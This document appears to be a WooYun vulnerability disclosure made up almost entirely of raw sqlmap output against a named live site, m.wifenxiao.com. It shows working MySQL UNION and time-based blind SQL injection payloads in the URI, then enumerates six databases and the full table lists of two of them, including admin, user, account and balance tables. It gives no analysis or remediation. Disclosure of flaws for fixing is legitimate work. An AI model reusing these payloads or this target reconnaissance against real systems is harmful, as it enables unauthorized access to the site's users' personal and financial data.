WooYun.org

sqlmap identified the following injection points with a total of 107 HTTP(s) requests:
---
Place: URI
Parameter: #1*
    Type: UNION query
    Title: MySQL UNION query (NULL) - 19 columns
    Payload: http://m.wifenxiao.com:80/Item/detail/id/-3294) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716d6d7671,0x6245564566716c587659,0x71676b6671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#/sid/446/pid/0.html
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: http://m.wifenxiao.com:80/Item/detail/id/5750) AND SLEEP(5) AND (1633=1633/sid/446/pid/0.html
---
web application technology: Nginx
back-end DBMS: MySQL 5.0.11
available databases [6]:
[*] information_schema
[*] micro_fenxiao
[*] mysql
[*] performance_schema
[*] test
[*] www_wifenxiao_com
Database: micro_fenxiao
[94 tables]
+---------------------------+
| tp_1688                   |
| tp_account                |
| tp_acp_config             |
| tp_admin                  |
| tp_admin_group            |
| tp_agent                  |
| tp_agent_apply            |
| tp_agent_rank             |
| tp_ali1688_category       |
| tp_api_client             |
| tp_apply_withdraw_deposit |
| tp_area                   |
| tp_auto_reply             |
| tp_cart                   |
| tp_category               |
| tp_category_img           |
| tp_category_magazine      |
| tp_checkin_rule           |
| tp_city                   |
| tp_code                   |
| tp_collection             |
| tp_commission_log         |
| tp_commission_rank        |
| tp_complain_item          |
| tp_complain_order         |
| tp_config                 |
| tp_country                |
| tp_coupon                 |
| tp_custom_module          |
| tp_file                   |
| tp_follow                 |
| tp_freight_tpl            |
| tp_game                   |
| tp_game_prize             |
| tp_gift                   |
| tp_group                  |
| tp_item                   |
| tp_item_group             |
| tp_item_message           |
| tp_magazine               |
| tp_magazine_category      |
| tp_mass_send              |
| tp_mass_send_view         |
| tp_material_content       |
| tp_material_more          |
| tp_material_one           |
| tp_message                |
| tp_message_user           |
| tp_order                  |
| tp_order_del_log          |
| tp_order_import_log       |
| tp_order_item             |
| tp_order_show             |
| tp_page_design            |
| tp_point_log              |
| tp_property               |
| tp_property_value         |
| tp_province               |
| tp_province_freight       |
| tp_pub_weixin             |
| tp_pub_weixin_user        |
| tp_pv                     |
| tp_qfx_shop               |
| tp_rank_privilege         |
| tp_seller                 |
| tp_shipping_print_item    |
| tp_shipping_print_set     |
| tp_shop                   |
| tp_shop_balance           |
| tp_sku                    |
| tp_sms_recharge_pro       |
| tp_sms_recharge_record    |
| tp_sms_record             |
| tp_stores                 |
| tp_system_call            |
| tp_taobao_props           |
| tp_tb_cat                 |
| tp_tb_property            |
| tp_tb_property_value      |
| tp_tb_shop                |
| tp_template               |
| tp_user                   |
| tp_user_account           |
| tp_user_address           |
| tp_user_balance           |
| tp_user_checkin           |
| tp_user_checkin_rule      |
| tp_user_coupon            |
| tp_user_game              |
| tp_user_gift              |
| tp_user_group             |
| tp_user_rank              |
| tp_version                |
| tp_visit_log              |
+---------------------------+
Database: www_wifenxiao_com
[22 tables]
+---------------------+
| wi_address_area     |
| wi_address_city     |
| wi_address_province |
| wi_article_content  |
| wi_article_sort     |
| wi_column           |
| wi_column_banner    |
| wi_column_user      |
| wi_config           |
| wi_config_user      |
| wi_domain           |
| wi_down_content     |
| wi_down_sort        |
| wi_job_content      |
| wi_link_content     |
| wi_link_sort        |
| wi_logs             |
| wi_online           |
| wi_pic_content      |
| wi_pic_sort         |
| wi_users            |
| wi_users_group      |
+---------------------+